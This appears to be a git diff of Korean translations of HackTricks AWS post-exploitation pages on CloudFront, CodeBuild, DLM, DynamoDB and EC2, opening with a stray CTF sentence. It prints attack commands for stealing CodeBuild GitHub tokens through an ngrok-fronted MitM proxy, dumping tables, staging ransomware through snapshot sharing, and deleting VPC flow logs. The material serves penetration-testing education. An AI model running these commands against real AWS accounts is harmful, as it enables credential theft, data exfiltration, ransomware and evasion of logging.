따라서 CTF에서 API Gateway는 요청이 `Content-Type: application/json`으로 전송될 때 **플래그가 응답으로 유출되는 것을 방지하는** 통합 템플릿을 가지고 있었습니다.
```yaml
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 1db9ee98f..86e7ee60a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@
### Man-in-the-Middle
-이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**를 **CloudFront를 통한 통신**에 추가하거나 (이미 사용 중인 경우 수정하여) 사용자 정보를 **훔치고** (세션 **쿠키**와 같은) **응답을 수정**하는 몇 가지 다른 시나리오를 제안합니다 (악성 JS 스크립트 주입).
+이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**가 **CloudFront를 통한 통신**에 추가되거나 (이미 사용 중인 경우 수정됨) 사용자 정보를 **훔치기** 위한 몇 가지 다른 시나리오를 제안합니다 (세션 **쿠키**와 같은) 및 **응답**을 **수정**합니다 (악성 JS 스크립트 주입).
#### 시나리오 1: CloudFront가 버킷의 일부 HTML에 접근하도록 구성된 MitM
@@ -26,6 +26,6 @@
- 민감한 정보를 훔치기 위해 lambda 함수의 **코드를 수정**합니다.
-이 시나리오를 재현하기 위한 [**tf 코드 확인하기**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+이 시나리오를 재현하기 위한 [**tf 코드**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index e6143f482..0f10999e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -21,13 +21,13 @@ Github, Gitlab 또는 Bitbucket에 연결하기 위해 Codebuild에 자격 증
### CodeBuild 리포지토리 접근 남용
-**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 접근해야** 합니다. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
+**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 대한 접근이 필요합니다**. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
-**CodeBuild 프로젝트는** 구성된 소스 제공자에 접근할 수 있어야 하며, **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 가능합니다.
+**CodeBuild 프로젝트는** 구성된 소스 제공자에 대한 접근 권한을 가져야 하며, 이는 **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 이루어질 수 있습니다.
-**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 남용하여 구성된 리포지토리의 코드를 유출하고 설정된 자격 증명이 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\
+**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 남용하여 구성된 리포지토리 및 설정된 자격 증명에 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\
이를 위해 공격자는 **구성된 자격 증명이 접근할 수 있는 각 리포지토리의 URL을 변경하기만 하면 됩니다** (aws 웹사이트에서 모든 리포지토리를 나열해 줍니다):
@@ -54,11 +54,11 @@ aws-codebuild-token-leakage.md
```bash
aws codebuild delete-project --name
```
-**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션에 대한 프로젝트 구성 손실 및 서비스 중단.
+**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션의 프로젝트 구성 손실 및 서비스 중단.
### `codebuild:TagResource` , `codebuild:UntagResource`
-공격자는 CodeBuild 리소스에서 태그를 추가, 수정 또는 제거할 수 있으며, 이는 귀하의 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
+공격자는 CodeBuild 리소스의 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 64b42417c..c4877fbb3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,26 +10,26 @@ aws codebuild list-source-credentials
```
### Via Docker Image
-만약 계정에 Github에 대한 인증이 설정되어 있다면, Codebuild가 프로젝트 빌드를 실행하기 위해 **특정 도커 이미지를 사용하도록** 하여 **액세스** (**GH 토큰 또는 OAuth 토큰**)을 **유출**할 수 있습니다.
+계정에 예를 들어 Github에 대한 인증이 설정되어 있는 경우, Codebuild가 프로젝트 빌드를 실행하기 위해 **특정 도커 이미지를 사용하도록** 하여 **액세스** (**GH token 또는 OAuth token**)을 **유출**할 수 있습니다.
이를 위해 **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 **환경**을 변경하여 **Docker 이미지**를 설정할 수 있습니다.
사용할 수 있는 Docker 이미지는 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)입니다. 이는 **env 변수 `https_proxy`**, **`http_proxy`** 및 **`SSL_CERT_FILE`**을 설정하는 매우 기본적인 Docker 이미지입니다. 이를 통해 **`https_proxy`** 및 **`http_proxy`**에 지정된 호스트의 대부분의 트래픽을 가로챌 수 있으며, **`SSL_CERT_FILE`**에 지정된 SSL CERT를 신뢰할 수 있습니다.
-1. **자신의 Docker MitM 이미지를 생성하고 업로드하기**
+1. **자신의 Docker MitM 이미지를 생성 및 업로드**
- 리포지토리의 지침에 따라 프록시 IP 주소를 설정하고 SSL 인증서를 설정한 후 **도커 이미지를 빌드**합니다.
- 메타데이터 엔드포인트에 대한 요청을 가로채지 않도록 **`http_proxy`를 설정하지 마십시오**.
- **`ngrok`**을 사용하여 `ngrok tcp 4444`로 프록시를 호스트에 설정할 수 있습니다.
-- Docker 이미지가 빌드되면 **공개 리포지토리에 업로드**합니다 (Dockerhub, ECR...).
+- Docker 이미지를 빌드한 후, **공개 리포지토리에 업로드**합니다 (Dockerhub, ECR...).
2. **환경 설정**
- **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 환경을 **수정**합니다.
-- 프로젝트를 **이전에 생성된 Docker 이미지**를 사용하도록 설정합니다.
+- 프로젝트가 **이전에 생성된 Docker 이미지를 사용하도록** 설정합니다.
-3. **호스트에서 MitM 프록시 설정하기**
+3. **호스트에서 MitM 프록시 설정**
-- **Github 리포지토리**에 명시된 대로 다음과 같은 것을 사용할 수 있습니다:
+- **Github 리포지토리**에 명시된 대로 다음과 같은 방법을 사용할 수 있습니다:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
@@ -80,8 +80,8 @@ aws codebuild start-build --project-name my-project2
```bash
aws codebuild batch-get-projects --name
```
-- 그러면 수집한 정보를 사용하여 프로젝트 설정 **`insecureSsl`**을 **`True`**로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시로, 끝에 **`insecureSsl=True`**가 있는 것을 주목하세요 (수집한 구성에서 변경해야 할 유일한 사항입니다).
-- 또한, tcp ngrok을 가리키는 env 변수 **http_proxy**와 **https_proxy**도 추가하세요:
+- 그러면 수집한 정보를 바탕으로 프로젝트 설정 **`insecureSsl`**을 **`True`**로 업데이트할 수 있습니다. 다음은 제가 프로젝트를 업데이트한 예시로, 끝에 **`insecureSsl=True`**가 있는 것을 주목하세요 (수집한 구성에서 변경해야 할 유일한 사항입니다).
+- 또한 **http_proxy**와 **https_proxy** 환경 변수를 추가하여 tcp ngrok을 가리키도록 하세요:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)로 지정된 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다.
+- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,13 +128,13 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- 마지막으로 **Build the project**를 클릭하면 **자격 증명**이 **명확한 텍스트**(base64)로 mitm 포트에 **전송됩니다**:
+- 마지막으로 **Build the project**를 클릭하면 **credentials**가 **명확한 텍스트**(base64)로 mitm 포트로 **전송됩니다**:
### ~~HTTP 프로토콜을 통해~~
-> [!TIP] > **이 취약점은 2023년 2월 20일 주 중에 AWS에 의해 수정되었습니다(금요일인 것 같습니다). 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)**
+> [!TIP] > **이 취약점은 2023년 2월 20일 주 중 어느 시점에 AWS에 의해 수정되었습니다(금요일인 것 같습니다). 따라서 공격자는 더 이상 이를 악용할 수 없습니다 :)**
**CodeBuild에서 권한이 상승된 공격자는 구성된 Github/Bitbucket 토큰을 유출할 수 있습니다**. 또는 권한이 OAuth를 통해 구성된 경우, **코드에 접근하는 데 사용되는 임시 OAuth 토큰**을 유출할 수 있습니다.
@@ -144,7 +144,7 @@ mitm.run()
-- 그런 다음, github 레포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions`
+- 그런 다음, github repo의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: `http://github.com/carlospolop-forks/TestActions`
- 그런 다음, 프록시 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)의 기본 예제를 실행합니다.
```python
from mitm import MITM, protocol, middleware, crypto
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index 0e2a27406..664cb8799 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,9 +8,9 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### 제어 활성화 / 비활성화
+### Enable / Disable Controls
-계정을 추가로 악용하기 위해서는 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다:
+계정을 추가로 악용하기 위해 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 71671a81e..47111f06e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -6,13 +6,13 @@
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-랜섬웨어 공격은 가능한 한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제하여 실행할 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성하여 그렇게 할 수 있습니다.
+랜섬웨어 공격은 가능한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제함으로써 실행될 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성함으로써 가능할 수 있습니다.
먼저, 인스턴스 ID, 볼륨 ID, 암호화 상태, 연결 상태 및 볼륨 유형과 같은 볼륨에 대한 정보를 수집하는 명령을 사용할 것입니다.
`aws ec2 describe-volumes`
-둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 지정된 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 정보가 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다.
+둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 특정 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 사항이 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index caefb5d45..913124269 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - DynamoDB Post Exploitation
+# AWS - DynamoDB 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
-**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단일 테이블에서 값을 읽을 수 있도록 허용합니다:
+**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
### `dynamodb:Query`
-**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다. [비교의 하위 집합](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키와 함께 허용되는 유일한 비교는 "EQ"이므로 요청에서 전체 DB를 가져오기 위해 비교를 사용할 수 없습니다.
+**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 주어진 경우 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다. [비교의 하위 집합](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키와 함께 허용되는 유일한 비교는 "EQ"이므로 요청에서 전체 DB를 가져오기 위한 비교를 사용할 수 없습니다.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,15 +107,15 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
+**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
### `dynamodb:Scan`
-이 권한을 사용하여 **테이블 전체를 쉽게 덤프할 수 있습니다**.
+이 권한을 사용하여 **테이블 전체를 쉽게 덤프할 수 있습니다.**
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-**잠재적 영향:** 테이블에서 민감한 정보를 찾음으로써 간접적인 권한 상승
+**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
### `dynamodb:PartiQLSelect`
@@ -124,7 +124,7 @@ aws dynamodb scan --table-name #Get data inside the table
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
-이 권한은 다음과 같이 `batch-execute-statement`를 수행할 수 있도록 허용합니다:
+이 권한은 `batch-execute-statement`를 수행할 수 있도록 허용합니다:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -144,13 +144,12 @@ aws dynamodb export-table-to-point-in-time \
--export-time \
--region
```
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-이 기능이 작동하려면 테이블에 시점 복구가 활성화되어 있어야 합니다. 테이블에 활성화되어 있는지 확인하려면 다음을 사용하세요:
+이 기능이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 활성화되어 있는지 확인하려면 다음을 사용하세요:
```bash
aws dynamodb describe-continuous-backups \
--table-name
```
-만약 활성화되어 있지 않다면, **활성화해야** 하며, 이를 위해서는 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
+활성화되어 있지 않다면, **활성화해야** 하며, 이를 위해 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
```bash
aws dynamodb update-continuous-backups \
--table-name \
@@ -171,7 +170,7 @@ aws dynamodb restore-table-from-backup \
### `dynamodb:PutItem`
-이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, **전체 항목이** 새 항목으로 **교체됩니다**. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성됩니다**.
+이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, **전체 항목이** 새 항목으로 교체됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성**됩니다.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -203,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
-**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있음
+**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격이 발생할 수 있음
### `dynamodb:UpdateItem`
-이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 전체 항목을 **대체하지** 않으며, 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 **지정된 기본 키로 새로운 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
+이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 전체 항목을 **대체하지** 않으며, 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -243,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
-**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있음
+**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있습니다.
### `dynamodb:DeleteTable`
@@ -270,7 +269,7 @@ aws dynamodb delete-backup \
> [!NOTE]
> TODO: 이게 실제로 작동하는지 테스트
-이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하기 시작한 다음, 스트림에 접근하여 테이블의 변경 사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 데이터 유출로 이어질 수 있습니다.
+이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하기 시작한 다음, 스트림에 접근하여 테이블의 변경 사항을 실시간으로 모니터링**할 수 있습니다. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 데이터 유출로 이어질 수 있습니다.
1. DynamoDB 테이블에서 스트림 활성화:
```bash
@@ -299,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \
--shard-iterator \
--region
```
-**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 데이터 유출.
+**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 데이터 유출.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 1a3c324fe..b45e55d95 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,4 +1,4 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM & VPC 포스트 익스플로이테이션
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### **악의적인 VPC 미러 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-VPC 트래픽 미러링은 **VPC 내의 EC2 인스턴스에 대한 수신 및 발신 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\
+VPC 트래픽 미러링은 **VPC 내의 EC2 인스턴스에 대한 인바운드 및 아웃바운드 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\
공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:
자세한 정보는 이 페이지를 확인하세요:
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### 실행 중인 인스턴스 복사
-인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 기법](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**:
+인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 트릭](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**:
```shell
# List instances
aws ec2 describe-images
@@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS 스냅샷 덤프
-**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 이 정보가 드러날 수 있습니다.\
+**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 이 정보를 공개할 수 있습니다.\
**스냅샷이 없는 볼륨**을 발견하면 다음과 같은 작업을 수행할 수 있습니다: **스냅샷 생성** 및 다음 작업 수행 또는 **계정 내 인스턴스에 마운트**하기:
{{#ref}}
@@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md
#### DNS 유출
-EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수 있습니다.
+EC2의 트래픽이 외부로 나가지 않도록 잠가도 여전히 **DNS를 통해 유출**될 수 있습니다.
- **VPC 흐름 로그는 이를 기록하지 않습니다**.
- AWS DNS 로그에 접근할 수 없습니다.
@@ -70,7 +70,7 @@ EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수
#### API 호출을 통한 유출
-공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.
+공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.
### 열린 보안 그룹
@@ -83,9 +83,9 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por
EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스의 데이터를 훔치는 것이 가능합니다.
-[**자세한 내용은 여기에서 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-### VPC 흐름 로그 제거
+### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
@@ -95,7 +95,7 @@ aws ec2 delete-flow-logs --flow-log-ids --region
- `ssm:StartSession`
-명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹 또는 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다.
+명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹이나 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다.
> 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -105,7 +105,7 @@ aws ec2 delete-flow-logs --flow-log-ids --region
aws ssm start-session --target "$INSTANCE_ID"
```
3. [AWS EC2 환경에서 SSRF 악용하기](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 Bastion EC2 AWS 임시 자격 증명을 가져옵니다.
-4. 자격 증명을 `$HOME/.aws/credentials` 파일의 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다.
+4. 자격 증명을 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다.
5. Bastion EC2로 EKS에 로그인합니다:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region --name
@@ -115,7 +115,7 @@ aws eks update-kubeconfig --profile bastion-ec2 --region --
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region
```
-8. 이제 `kubectl` 도구의 트래픽이 Bastion EC2를 통해 SSM 터널로 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다:
+8. `kubectl` 도구의 트래픽이 이제 Bastion EC2를 통해 SSM 터널을 통해 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다:
```shell
kubectl get pods --insecure-skip-tls-verify
```
